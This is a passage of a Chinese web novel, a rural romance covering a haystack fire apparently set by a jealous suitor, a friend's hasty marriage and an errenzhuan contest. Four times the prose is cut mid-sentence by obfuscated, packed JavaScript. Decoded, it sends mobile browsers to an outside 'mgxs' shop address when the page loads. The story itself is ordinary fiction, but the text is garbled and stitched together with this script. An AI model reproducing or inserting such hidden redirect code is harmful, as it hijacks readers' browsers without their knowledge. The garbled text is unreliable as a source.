l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255381|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼翼问出:“你是想说,你喜欢我吗?” “对,我喜欢你!”他终于坦然,毫不遮掩地说:“是男人对女人的喜欢,想娶你当媳妇儿的喜欢。” 他突然搂抱住她,修长的手臂有些蛮横地用力将她圈在怀里,然后不由分说地狠狠吻上她。 她猝不及防、慌乱无措,被亲到晕头转向,快要喘不上气,却欣喜若狂地沦陷在他的吻中,本能般配合他。 亲到最后,他轻轻咬了一下她的嘴唇,像是仍在生她的气,又像是实在太喜欢她。 她吃痛轻声呜咽了一声,他才终于停下,“对不起。” “我喜欢你,是每天都想亲你的这种喜欢。”他温柔深情地注视着她,“你现在清楚我的心意了吗?” 方英点头,低头的瞬间眼泪却蓄满眼眶,她抬眸含着泪花望向他,“我心里还有一个疑问,我要你如实回答我。” “什么疑问?你说。” “你说喜欢我,那你喜欢的,是从前的方英,还是现在的方英?” 他不明就里,“从前的方英,和现在的方英,不都是你吗?有什么不一样?” 她眼里充满不安,焦急落下泪来,“不一样,就是不一样!” “有什么不一样?”他认真问道:“什么时候算从前?什么时候算现在?” “前年冬天,我掉到河里,你把我救上岸。在那之前,就算从前,在那之后,就算现在。”方英带着哭腔追问道:“你喜欢的,到底是哪个我?” 于穹静默思索良久,“这样算来,我喜欢的,是现在的你。” “那之前我只把你当成一个同村的姑娘,对你没有其他的想法。那时你和陈广林在一起,我不可能去当第三者,而且那时我还太穷,只想着好好唱戏赚钱,没有谈情说爱的心思。” 方英的不安消散了些许。星光映在她挂着泪痕的脸上,在他眼里楚楚动人。 他抬手轻柔拭去她脸上的泪,认真说道:“我真正对你动心,应该是在淑玲去世后不久,我看到你在河边掉眼泪。” “当时我好心疼你,我好希望,我能爱你护你,能让你开心不再难过。” 她心中温暖,渐渐踏实,含着泪光的双眼,悲伤却已不再。 “你爱替人出头、爱打抱不平,有人说你泼辣,但我觉得,那是因为你太善良。”他的眼眸灿若星辰,含情脉脉地看着她,“在我心里,你是温柔的姑娘。” 他对她勾唇一笑,轻轻说道:“以后,我叫你柔柔好不好?‘温柔’的柔。” 她意外又欣喜,扑进他怀里紧紧抱着他,却情不自禁地哭出来,不住地轻声涰泣。 这一刻她觉得,他是真正懂她的,她也终于确定,他爱的是真正的她。 “怎么了?怎么又哭起来了?”他不明所以,小心问道:“不喜欢我叫你柔柔吗?” 她摇头,“很喜欢。只是,很久很久,没有人叫过我这个名字了。” “以前还有别人,叫过你柔柔吗?” 她缓缓说:“上辈子,有人叫过。” 他轻轻笑出声,不可置信道:“柔柔,你还记得上辈子的事呢?” “我记得一些。”她说:“我上辈子的名字,是叫袁柔。” 他笑了笑,“圆柔和方英,倒像是一对反义词。”饶有兴致地问道:“上辈子你认识我吗?” 她轻轻点了点头,“认识。” 他惊讶又好奇,“那上辈子,我们是夫妻吗?” 她摇头,“不是。上辈子我们只见过一次面,都没有说过话,而且上辈子你比我大好多岁,相遇的时候我还不到30岁,你好像都60岁了。” 他似信非信却很震惊,先是难以接受,随后又释怀,“年龄差距那么大,确实不能在一起了。上辈子你估计和我的孩子差不多年纪。” “上辈子,你没孩子。”她的眼睛清澈明净,望着他说:“你60岁的时候,还没结婚呢。” “啊?!”他睁大双眼,“我打一辈子光棍啊!?” 她脸上泛起笑意,“应该是的。” 他哈哈笑了好一阵,笑过之后将她拥在怀里,“上辈子的事先不管了。”他深情凝望着她的眼睛,认真问道:“柔柔,这辈子,你愿意和我在一块吗?” 她与他对视,满心欢喜地坚定点头,“愿意。” 星空之下,他轻轻抚了一下她被夜风吹乱的头发,不由自主地缓缓靠近她,想要再次亲吻。 她目光闪烁,害羞又心动期待,他离她越来越近,她的心越跳越快。 在吻到她的前一秒,他却停住愣了一下,目光朝远处眺望,诧异道:“那边怎么那么亮啊?” 方英回头,向于穹家之前小草房的方向望去,看见前园子的柴禾垛发着红色的火光。 于穹惊呼:“着火了!我家的柴禾垛着火了!!!” 20. 第20章 傻姑娘 于穹一家人在去年冬天搬去了大砖房,但他们家的柴禾还垛在村东头小草房的前园子里,没来得及移去砖房。 这些柴禾有麦秆、豆秆、苞米秆,还有秋天上山打的树枝子,全是干透的,十分易燃。 今晚的风很大,柴禾垛的火起势极为迅猛,方英和于穹狂奔过去,已经火光冲天。 村里人看了一天二人转,回到家刚准备睡下,听说老于家柴禾垛着火,纷纷赶过来救火。 一方面大家乡里乡亲,谁家着火都会帮忙去救。 另一方面这样的大风天,柴火垛着火相当危险,每家之间的柴禾垛距离都不远,若火势借着大风肆意蔓延,有可能引燃邻家的柴禾垛甚至是房屋,一家连着一家,搞不好烧一趟街,后果不堪设想。 这夜全村未眠,男人们奔跑接力挑水,女人们送来自家的水桶,一桶桶水源源不断泼向熊熊火焰。 在全村人齐心协力的施救下,大火在第二天早上,终于被彻底扑灭。 于穹家损失不小,柴禾被烧掉了大半。 在这村里,老于家待人最是和气,从不曾与什么人结仇。 村里人都觉得,这场火不会是有人故意纵火。柴禾垛临着村道边,估计是某个看完二人转回家的人,路过随手扔了个烟头,意外引燃柴禾。 救火的村民散去,于穹的爹妈看着烧得半黑不黑,所剩不多的柴禾,愁眉苦脸。 于穹推来手推车,将余下的柴禾往推车上抱,准备运去砖房那边。 方英在旁帮忙,将一抱枝子放上推车,“我帮你。” “不用了!”于穹将方英拉到一边,在没人看到的地方拉住她的手,轻轻吹了吹她掌心的灰尘,“你也救火忙了一宿,辛苦了,快回家休息去。” “这里的活儿,我和我爸妈干就好。” 方英轻轻点了一下头,“那你告诉叔婶,别着急上火。”她看着他,柔声说道:“你也不要发愁,柴禾不够的话,过几天我和我爸妈商量商量,要不把我家的柴送给你们一些。” 于穹立即拒绝:“别,千万别。”他目光闪烁,压低声音对她说:“我都还没好好表现呢,不能要未来老丈人家的东西。” 方英脸颊泛红,抿着嘴唇似羞似喜不说话。 柴禾垛着火,于穹心里当然愁闷,但在她面前却未表露分毫。 “不用担心。”他对她洒脱一笑,轻松地说:“就快入夏了,天气热不用烧太多柴,等秋天新柴下来,再多打些就好啦。” 方英又说了几句宽慰的话,转身要走,脚下却踩到一个硬物,被咯了一下,她低头一看,竟是一支钢笔。 她俯身将钢笔捡起,脸色微变,头脑中闪过一个念头,令她意外又心惊。 因为她曾见过这支笔,这是温清璞的钢笔。 “这怎么有支钢笔?”于穹纳闷,“是不是昨晚谁来救火的时候,掉下的?” 方英心中疑惑,她的推测与他不同,但事情未明,她只是说了句:“或许是吧。” 钢笔被她装进衣兜,带离了这里。 这天晚上,英子妈身体不舒服,方英跑去姐姐家,叫来了姐夫周永峰。 周永峰进门放下药箱,关心问道:“妈,您这是咋了?哪不舒服?” 英子妈面有病色,背靠着枕头坐在炕上,咳嗽了两声,“从今天早上开始,头昏脑胀的,嗓子疼还咳嗽。” 周永峰拿出温度计,“妈,您先测下体温,看发不发烧。” 方万春道:“你妈可能是,昨黑给老于家救火,累出汗又受风,着凉冻着了。” 周永峰点头,“爸说的有可能。也可能是这茬子病毒感冒,昨天聚一起看二人转,被旁人招上了。” “老温家大娘也是,感冒发烧。”他随口说道:“昨天半夜他家新来那小伙儿,叫温清璞吧,上我家找我去给温大娘打针。我跟他过去,给温大娘扎上,又看了两三个小时滴流,都没顾上去老于家救火。” 方英眸光一颤,认真问道:“姐夫,昨晚温清璞,去老于家救火了吗?” “他也没去,昨晚我一直跟他唠嗑来着,说他之前在师专上学的事。”周永峰思索了一下,“温大娘打完滴流,我帮着拔完针,温大爷和温清璞送我从他们家走出去,那会儿天都蒙蒙亮了。” “在他们家门口,碰见几个给老于家救火回来的人,说火已经基本扑灭了。我们仨一合计,就没再往村东头去。” 方英听完变了脸色,她心中的猜测在这一刻坐实。 她已经确定,昨晚的火是温清璞放的! 于穹家的柴禾垛在村东头,而老温家住在村子的西边,周永峰家在村子的中部。 温清璞没去救火,他的钢笔却出现在被火烧过的现场。那么极有可能,昨夜他去给温大娘找大夫之前,先去到村东头放火,放火时疏忽将钢笔遗落。 至于他放火的原因,也不难猜测,当然是昨天于穹和盼儿搭档唱二人转令他心生不满。他现在仍在伪装君子,忍着不对盼儿发作,却点燃柴禾垛报复于穹泄愤。 方英不禁脊背发凉,心想温清璞着实阴暗低劣。 她手握他的罪证,攥着那支钢笔,立即冲出门,直奔盼儿家而去。 这会儿时间还不算太晚,盼儿的三个妹妹和一个弟弟还在蹦蹦跳跳玩耍,盼儿却已经躺在了被窝里。 她瞧见方英进门,有些意外,“英子,你咋来了呢?” 方英坐在炕沿,将钢笔举到盼儿眼前,“盼儿,这钢笔你认得吗?” 盼儿没有起炕,从被窝里伸出手,拿过那支钢笔看了一眼,“这不是清璞的钢笔么!”她手指抹了一下钢笔上燃烧烟熏留下的黑色灰痕,“怎么会在你这?” “是我捡到的。”方英神色严峻,“今天早上,我在村东头,于穹家烧过的柴禾垛,捡到的这支钢笔。” 盼儿呆愣愣的,“清璞的钢笔怎么会掉到那?” 方英语气坚决,“因为,昨晚那场火,是温清璞放的!” “你胡说!不可能!”盼儿完全不信,激动道:“清璞和老于家无冤无仇,他怎么会去放火呢?” “他和老于家无仇,但他和于穹有仇。”方英眼中含着愤恨,“我和你说过,那人心胸狭隘,有疑心病。” “昨天于穹和你搭档,他一定心里嫉恨,所以背地里放火报复!” “清璞才不是那种人!单凭一支钢笔说明不了什么!”盼儿依然听不进去,对方英生起气来,“英子,你这是血口喷人!” “你怎么就肯定,这钢笔是清璞放火的时候落那的?怎么就不能是他一走一过,不小心掉下的呢?” 方英不气盼儿不信她,也不气盼儿和她吵,而是着急,急她仍然执迷不悟。 “盼儿,你要不信我,我们现在拿着钢笔去老温家,去找温清璞,当面去质问他!” 她眼神倔强执着,无所畏惧,高声说道:“我们去问问,他到底是人是鬼!” 她说罢,伸手抓住盼儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265708|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胳膊,猛地用力拉她坐起身。 盼儿这一起炕,掀开的被窝里传出一阵浓浓的草莓味。 方英低眸看去,看见盼儿的被窝里藏了好多高粱果。 高粱果是东北的一种野生浆果,虽然名字叫高粱果,但与高粱毫无关系,而是一种野草莓。高粱果的草莓香非常浓郁,果子个头却比寻常的草莓小很多,大多只有小拇指甲盖大小。 高粱果春末夏初结果,漫山遍野都可以采到,但是现在还没红透,不拌白糖吃,果子酸得厉害。 方英诧异道:“盼儿,你不是吃不了酸的吗?怎么……” 她突然停住话语,陡然萌生一种不详的预感,因为她在盼儿脸上,看到少女可怜的局促不安和羞臊难当。 这时,盼儿妈听见方英和盼儿方才的争吵声走了进来,她看看盼儿被窝里的高粱果,又看看盼儿的表情,瞬间猜了个大概。 “盼儿,你这个月来例假了吗?”她紧紧抓住盼儿的肩膀,情绪激动地逼问:“盼儿,跟妈说!你这个月来例假了吗?” 盼儿臊得满脸通红,像老鼠一样钻回被窝里,扯了被子蒙住头,羞于见人。 盼儿妈如同天塌了一般,又哭又嚎,对盼儿的被子一通胡乱捶打,“唉呀……丢人现眼呐!三姑娘丢人啦!还没结婚就跟着人家,在娘家闹上小病儿啦……” “这下什么彩礼、大件儿都要不了了,只能抓紧嫁给老温家那小子……要不肚子大了让人笑话啊!” 方英看不过眼,听不下去,拦住盼儿妈道:“婶儿,您别打了!” “盼儿一时糊涂,但这不是她一个人的错。即便盼儿怀孕了,也不是必须嫁给温清璞。” “盼儿在服装厂工作能挣钱,孩子生下来可以自己养。”梦中盼儿的悲剧浮现脑海,她心情沉重恐惧又混乱,有些慌不择言,“也可以不要这个孩子,和温清璞彻底断绝瓜葛。” 盼儿一把掀开头上的被子,红着眼睛看向方英,眼神里有脆弱、固执,还有清晰强烈的愤怒,“我绝不会不要我和清璞的孩子。” 她语气决绝,似在宣布一个丝毫不容置疑的决定,“我爱清璞,我一定要嫁给他!” “你们要不让我嫁他,我宁可绝食饿死、喝敌敌畏药死,”她坐起身,哭着喊道:“或者干脆,一头撞死好了!” 她说着,要去撞墙。 方英迟疑一瞬,还是死死抱住了盼儿纤瘦的身躯,阻止她寻死。 盼儿望着方英,眼神中尽是清澈又愚蠢的犟,十头牛都拉不回来的犟。她柔弱却坚决地开口:“你们就别拦我了,没有清璞,我活不了。” 方英看着盼儿,这一刻她心里清楚,她没法拦住她。她担忧、无奈、悲伤、气恼,不禁落下泪来,对她说了一句:“傻瓜……” 她终究没忍心,说出话的后半句:“嫁给他你才活不了。” “你嫁给他住哪啊?”盼儿妈崩溃地抹着眼泪,愁道:“总不能嫁到老温家去吧,那是他远房叔叔婶子家,他在那也是暂时借住。你们孩子生下来,总不能养在人家家里。” 盼儿双手抱着膝盖,低着头小声缓缓说:“清璞说了,他手里有一点钱,再拿我之前在裁缝铺挣的工资凑一些,把老于家的草房买过来,我们先去那住,等以后有钱了,再换房子。” 方英想到梦里,她奔到那间小草房,想到梦中的惨象,心里一阵恶寒。 她眼中含泪,对盼儿道:“不行,你绝对不能,到那个小草房里结婚。” 21. 第21章 姐们儿的嫁妆 盼儿怀孕曝光后,她和温清璞的婚事火速提上日程。 温家爹妈从几个镇子外赶过来,和丘家爹妈见了一面,两家人坐在一起吃了顿饭,选了个最近的良辰吉日摆几桌喜酒,这桩亲事就算敲定。 什么相门户、头茬礼、定亲之类的流程全部略去,仓促而草率。 即将结亲的两家人,对于这种仓促和草率,都不觉得不妥,也不甚在意。 温家爹妈暗自得意,觉得自家儿子有本事,来到这村没几天,就白捡个好姑娘当媳妇儿。丘家爹妈既无可奈何,又如释重负,能让盼儿在肚子大起来之前嫁出门,避免成为全村人的笑柄,他们便认了。 马上步入婚姻的两个年轻人,也是急吼吼的模样。 尤其是盼儿,不在乎一切繁文缛节,也不在乎物质条件,欢天喜地地拉着温清璞去登记领了结婚证书。 然后,每天晕乎乎沉浸在甜蜜的期待中,期待和他办婚礼,期待和他的孩子出生,期待和他的幸福未来。 至于方英怀疑温清璞纵火那件事,她自然是完全不信的。她苦苦央求方英按下不表、不予声张,并且将方英在火场捡到的那支钢笔悄悄收了起来。 这天,方英和鲁枝枝一起进了趟城,托城里的孙大姐找认识人的关系,弄到一张彩电票,凭票购买了一台彩色电视机。 她们将彩电运回村里,搬进王财大爷家的砖房。 方英之前租这房子开裁缝铺,如今服装厂成立,这里原来那几台缝纫机都运去了服装厂,这房子也就空了出来。 放下电视,枝枝说道:“英子,你在这歇会儿,我去找盼儿过来。” 方英回应了一声:“好。” 她坐在屋内环顾四周,回忆起和姑娘们一起在裁缝铺里忙碌奋斗的日子,心中很是感慨。 她不会忘记,这里是她事业的起点,同样也是盼儿事业的起点。 开门声打断方英的思绪,枝枝走进来,后面跟着盼儿和温清璞,她揽着他的腰,他搂着她的肩膀,如胶似漆毫不背人。 方英望了一眼亲昵的两人,不禁皱起眉头,又看向枝枝,眼神似乎在问:“叫他一起过来干嘛?” 枝枝走到方英面前,撇撇嘴道:“我叫盼儿来,那人非得跟着。”她说这话的声音不小,语气中的嫌弃和不满都不加掩饰。 温清璞听见枝枝的话,抬手扶了一下眼镜,面露一丝尴尬。 盼儿却不在乎,笑盈盈娇声道:“清璞在我家陪我,呆着没什么事儿,就一起来了嘛~” 她看见放在炕上的电视,两眼放光,“呀!这咋有台大电视呢?”她凑近观看,“这么新,是彩电吗?” 方英点了一下头,“嗯,18寸新彩电,长虹牌的。” “这电视真带劲儿!比老陈家的还好,我记得他家那台只是个二手的小14。”盼儿水灵灵的眼中藏不住对这台电视的喜欢,“英子,这彩电是你买的吗?” “不是我,是枝枝买的。” 盼儿有些意外,“枝枝,你不是说你不爱看电视么,你家连黑白电视都没买过,怎么突然舍得买大彩电?这得很贵吧?” “当然贵了,一千五百块钱一台呢。我自己才舍不得买它看。”枝枝语气波澜不惊,盯着盼儿看了两秒,露出敞亮又温暖的笑容,“姐们儿,我给你买的!” 盼儿惊掉下巴,“啊?!” 枝枝看到盼儿吃惊的表情,温和又傲娇地白了她一眼,笑着说了句:“瞅你那傻样儿吧!” 她洒脱道:“你要结婚了,这台彩电,是我送给你的嫁妆。” 当初方英办裁缝铺时,枝枝和盼儿都投了钱,裁缝铺赚到钱,去年年底她们各自拿到了一笔分红。盼儿的分红全部上交给了爹妈,而枝枝的分红则留在自己手里。 鲁枝枝平时生活节俭,但为人极仗义不小气。这次她拿出一大笔钱,给好姐们儿买了大彩电当嫁妆。 “我的天哪!鲁枝枝你出手太阔绰了吧?”盼儿受宠若惊,“别人姐们儿嫁人,也就是送套被面、枕巾、绣花门帘之类的,哪有送彩电这种大件的!” “我姐们儿结婚,当然得气派有面子!”枝枝骄傲道:“这彩电可是名牌新款,在咱村应该是最好的。” 她看着她笑,“你就美去吧!” 盼儿满眼欣喜,却别别扭扭不知说什么好,也不太好意思坦然接受如此大礼。 枝枝故意假装板起脸,开玩笑道:“丘盼儿,这彩电你要不要?给句痛快话呀!” 温清璞在一旁开口,声音温吞,不紧不慢道:“盼儿,枝枝诚心送我们电视,却之不恭,快和人家道谢呀。” 盼儿欢喜激动地拥抱了一下枝枝,“谢谢你,好姐们儿~” 她走到电视前,“清璞,咱把这电视先搬我家去,等买下老于家房子再搬去那。” 方英淡淡说道:“不用搬。” 盼儿疑惑地眨了一下眼,“嗯?” “我说不用搬走,放在这里就行。”方英对盼儿柔和地笑了一下,“盼儿,这房子我买下来了,送给你。” 盼儿震惊到目瞪口呆,难以置信,半晌才说出话:“英子,你送我房子呀!?你不是在开玩笑吧?” “前两天,我请村长做中间人,跟王财大爷把这房子买过来了。”方英拿出一张纸给盼儿,“这是字据。” 她温柔而坚定地看着她,“盼儿,以后这房子,是你的了。” 盼儿看着字据,双眼泛起泪光,心中除了深深的感动和感激,还为前几日和方英的争吵而有些愧疚自责。 她抱住她,伏在她肩膀带着哭腔说:“英子,你对我真好。” 方英轻轻拍了拍盼儿的背,眼眶也微微湿润,柔声安慰道:“盼儿,别哭。咱们是好姐们儿,不需要客气。” “方英,多谢你,送给我和盼儿结婚的新房。”温清璞脸上浮现谦和有礼的笑,“我真不知道,该说什么好。” 方英擦去眼角的泪,快速平复了一下情绪,沉着脸道:“你说错了。” 她直直望向温清璞,“这房子,不是我送你们的婚房,而是我送给盼儿一个人的。” 盼儿有些诧异不解,松开方英呆呆听她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278532|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 方英继续说道:“老话讲了,舌头没有不碰门牙的。两口子在一起过日子,不可能每天腻腻歪歪,难免会有吵架和小摩擦。” “但盼儿是我的好姐们儿,我不能看她受一丁点委屈。” “温老师,这房子是我送给盼儿的。”她面无笑意,对温清璞冷冷道:“你是文化人,也是聪明人。” “我丑话说在前面,从今往后,你对盼儿若有一点不好,莫说是打她一下,就算是骂她一句,你都得立刻马上从这里搬走。” 她极力压抑着内心的不安,镇定坚决地对面前这个男人、这个她梦中曾见过的魔鬼发出警告。她知这警告未必奏效,只祈祷威逼利诱能让他伪装得久一些,最好装一辈子。 温清璞恭敬表态:“方英,你放心吧,我一定会对盼儿好的。” 方英想再开口说些什么,盼儿却对她咯咯笑道:“行了英子,别多说了!你瞧你一脸严肃的,说那些话倒像个操心的丈母娘!” 方英看着盼儿,眼中浮现隐隐的担忧和悲伤,“盼儿,我说这些,是因为我真心希望你幸福。” “放心吧!”盼儿笑容天真纯净,轻抚了一下暂且平坦的小腹,笃定地说:“我和清璞、还有孩子在一起,一定会幸福的。” 几天之后,丘盼儿和温清璞办了婚礼,在村里摆了喜酒。 盼儿穿的喜服,是方英亲自设计的,由服装厂的姑娘们赶制而成。 这天盼儿美极了,不输电视里漂亮的女明星,婀娜纤巧,花容月貌,最美的是她脸上相信幸福的笑。 方英看着她笑,却在无人注意的角落,偷偷抹了眼泪。 婚礼这天,很多乡亲来参观盼儿的新房。盼儿家有18寸大彩电,这一消息极速传遍全村。 人们无比羡慕,十分向往,非常想看! 送彩电这个主意,是方英给鲁枝枝出的,她清楚这台彩电在村里会相当拉风,也料到这台彩电会把村民们吸引到盼儿家看电视。 这正是方英想要的结果。 盼儿在这村出生,在这村长大,和乡亲们大多沾亲带故。而温清璞只是老温家的远房侄子,属于一个外来人员。乡亲们聚到盼儿家看电视,尽管有些打扰,但从某种意义上讲,能够保护盼儿,对温清璞的行为起到一个监督威慑的作用。 悲剧还没发生,还有机会改变,方英绝对不会,让盼儿像噩梦中那样走进被高墙圈禁起来的小草房,她绝不会让她孤立无援。 接下来很长一段日子,盼儿家每天都坐满了人,人们说着笑着,一起看电视。而温清璞,也保持那副温文儒雅、文质彬彬的样子,没有异动。 这天,方英和于穹一起来到盼儿家看电视,电视上偶然播报将在邻省省会举办的大型二人转比赛报名通知: “为弘扬东北民间艺术,丰富百姓文娱生活,将举办‘庭喜杯’二人转大赛。” “无论您是名丑名旦,还是业余爱好者,都欢迎您踊跃报名参赛,大赛金奖得主将获得奖金一万元!这个夏天,让我们齐聚在此,唱响黑土地,欢乐一起转!” 22. 第22章 大赛 于穹在电视上看到二人转大赛的消息,很是兴奋,当即决定叫上搭档娟姐一起,一周后奔赴邻省省会参赛。 他心里兴奋远远多过紧张,十分期待与优秀的同行们同台竞技,转出风度、赛出水平、唱响名气。 当然,那颇为丰厚的一万元金奖奖金也着实诱人。 服装厂手艺最好的工人,给于穹和荣艳娟赶制了几套全新的戏服。 方英这几天也是昼夜忙碌,她给于穹特别设计,亲自给他量身做了一身新衣服。 于穹出发前夜,在服装厂里陪着方英,看她熨烫刚刚做好的西装。 工人们都已经下班回家,这里只剩下一盏灯,只剩下他们俩。 方英提起熨好的西装外套,轻抖了一下,“终于完工了!快穿上试试。” 于穹将西装套上身,方英立马被惊艳。 这西装不输大牌高定,剪裁精良、面料轻薄透气有垂感,主体是清新淡雅的浅蓝色,出彩的是胸前的一簇竹子刺绣,是她一针一线亲手绣的。 他高挑挺拔,板正有型,这件西装穿在身上低调贵气又不失活泼,真可谓翩翩公子,出尘绝世,清风明月,皎皎华光。 她上下打量着他,眼里似有星星,发自内心地夸赞:“帅!俊!美!” 他笑,“是你做的衣服好看。” “衣服好看,也得好看的人才能穿出效果。”她抬手抚了一下他的肩膀,“你肩膀很宽,不用加垫肩都这么有型。” “你的腰又窄,身上又有肌肉,身材真的很好诶!”她满眼欣赏和爱慕,笑了笑说:“你要是不唱二人转,去当个模特都可以。” 于穹目光闪烁了一下,缓缓问道:“你怎么知道,我身上有肌肉?” “我……”方英眼神闪躲,脸颊不由自主泛起娇羞的浅浅红晕,嗫嚅着说:“我猜的。” 其实,坐在他自行车后座的时候,她搂过他的腹肌;给他量胸围的时候,她抚过他的胸肌;给他量臀围的时候,她还摸过他的…… 他盯着她两秒,忍俊不禁,伸手揽住她的腰,将她搂进怀里,“小裁缝,给你摸摸。” 说罢,他抓着她的手,伸进西装的衣襟,放在他的胸口。她的手和他的肌肤之间,只隔着一层薄薄的T恤。 方英脸颊红透,抬起眼眸迎上他的视线,看到他深邃清澈眼神里的宠溺和笑意,还有不加掩饰的勾引撩拨。 她心跳加速,却没有将手移开,又羞又喜不知该说什么。 他看了一眼旁边和身上西装配套的西裤和衬衣,“柔柔,我要不要也试穿一下,你给我新做的裤子和衬衫,看看合不合身?” “你拿回家试吧,都是量身定做的,不会不合身的。” “我看在这里试比较好。”他抱着她,唇角的笑意加深,“你好像很喜欢我的身材,”他故意逗她道:“我脱衣服给你看好吗?” “你……”她脸上七分害羞三分生气,温柔地嗔怪道:“讨厌,你不知羞!” 她想推开他,却被他用力搂得更紧,整个人贴在他怀里,抬头与他对视一瞬,气氛一下子变得暧昧。 厂房里空荡荡的,他们相拥在一起,一条无形的丝线将她与他拉近,情不自禁地想要亲吻。 一阵脚步声由远及近打破安静,方万春的声音传来:“英子!” 方英和于穹慌忙松开拥抱,“爸,你怎么来了?” “这都几点了?”方万春皱着眉头,“英子,你咋还不回家呢?” 于穹微笑解释道:“方叔,英子给我做衣服,所以忙到晚了些。”他毕恭毕敬,谨小慎微,隐隐带着讨好。 方万春面无表情,“衣服做完了吗?” 于穹点头,“做完了。我也正要送她回去呢。” 方万春没有理会于穹,板着脸对方英说了句:“跟爸回家。” 方英应了一声,神情中有点尚未消退的害羞,还有一丝尴尬,望着于穹笑了一下。 于穹家现在住的砖房,和方英家不在同一趟街,所以从服装厂出来,他们就分开了。 初夏时节,乡村的夜静悄悄的,蛙鸣都还没有爆发,只听得到风吹过青草树叶的沙沙声响。 方英跟在父亲身后,走在村道上,朝家的方向走。 方万春沉默半晌,闷声开口:“老姑娘,你要喜欢老于家那小子,想跟他处对象爸不反对。” “但是处可是处,咱们家人挺保守的,啥事儿有点分寸。”他顿了一下,“你也不小了,很多事你妈应该告诉过你,别糊里糊涂的。” 方英听得懂父亲话里的意思,认真说道:“爸,你放心吧,我有分寸的。” 回到家中,方英洗漱后准备睡下,母亲来到她住的西屋。 “小英子变野了,跟男孩子单独待到这么晚。”英子妈似笑非笑,语气带着温和的责怪,“你爸要不去接你,还不回来吧?” “妈,于穹明天出门,我在厂子里给他做衣服,他在旁边等着。”方英羞涩地遮掩道:“我们没有做别的。” 英子妈轻声笑笑,“年轻人处对象的事,妈懂。”她坐到方英身旁,慈爱地看着她,“妈知道我姑娘是好孩子,有头脑有分寸。” “以前于穹家太穷,妈不想让你受穷,是真不愿意你和他在一块。现在他唱戏唱出点名堂,条件也好了,你喜欢他,和他好也行。” “但是老姑娘,你跟他相处,不用上赶着,也不用太溜须他。”英子妈一本正经道:“你办那么大个服装厂,比他更有本事。” “张大白话往咱家跑多少趟了,要给你介绍的城里小伙儿,都有十来个了吧。你是不乐意找,要不啥样的找不着,肯定能找到比他于穹强的。” “妈,我和于穹之间是平等的,不存在谁高攀谁。”方英垂眸笑了一下,坦然说道:“我不想要其他的小伙儿,我只想、和于穹在一起。” “行行行,”英子妈脸上露出柔和又有点无奈的笑,伸出手指轻点了一下方英的额头,“老于家那小子除了长得俊、二人转唱得好,还有哪里好哇?咋就把我姑娘迷成这样?” 这天夜里,方英和母亲聊到很晚很晚,说她女儿家的心事,听母亲对她的悉心嘱咐,她觉得很幸福,也觉得很幸运。 第二天于穹出发去了邻省,两天后“庭喜杯”二人转大赛拉开帷幕,电视台同步直播。 二人转大赛本就深受欢迎,很有看头,更何况,这次有本村人参赛上电视,乡亲们群情激昂,兴高采烈。 服装厂临时放几天假,下地除草之类的农活也被人们暂且搁置。 接下来的几天,村里有电视的人家都挤满了人,尤其是盼儿家。 这年代人的视力极好,里屋炕上地下坐不下,就站在外屋地眺望屋里的电视,外屋也没地儿站的话,干脆站在房子外,透过窗户往里张望电视屏幕,就算只能望到个影儿,或者听到点声音也好。 全村男女老少都守在电视机前,既为了看比赛,也为了支持于穹。用几十年后的话讲,乡亲们都是于穹的铁杆应援团。 参加海选的选手非常多,有专业的名角,也有业余爱好者,水平参差不齐,效果滑稽逗趣儿。 于穹和荣艳娟毫无悬念,顺利通过海选,站上初赛舞台。 参加初赛的百余名选手水平高了很多,大多是各地剧院的二人转演员。于穹和荣艳娟在初赛上唱了《西厢观画》选段,两人配合默契,唱中带说、说中带舞,表演效果极佳。 在电视机前乡亲们的喝彩声中,两人成功晋级半决赛。 步入半决赛的选手共有30名,也就是15对男女搭档。这30名选手基本是各大剧院的台柱子,业务能力更上一层台阶。 于穹和荣艳娟这次表演了高难度拉场戏《包公赔情》。二人节奏稳气息足,大段的悲腔哭戏,唱哭电视里的观众,也唱哭了电视外的乡亲们,同样征服了比赛的评委。 二人再次过关斩将,杀入总决赛。 晋级总决赛的选手只剩10人,即5名旦角和5名丑角。这些人可谓才艺高超,各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293276|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀绝技,也都将使出看家本领。 总决赛直播这天,下着大雨,盼儿家里人挤人,一位难求。房子外也围了一排人,站在窗前,看影听声。这些人有的披着蓑衣,有的披着尿素袋子,有的索性奋力把上半身探进窗户里,专心观赛不在乎挨浇。 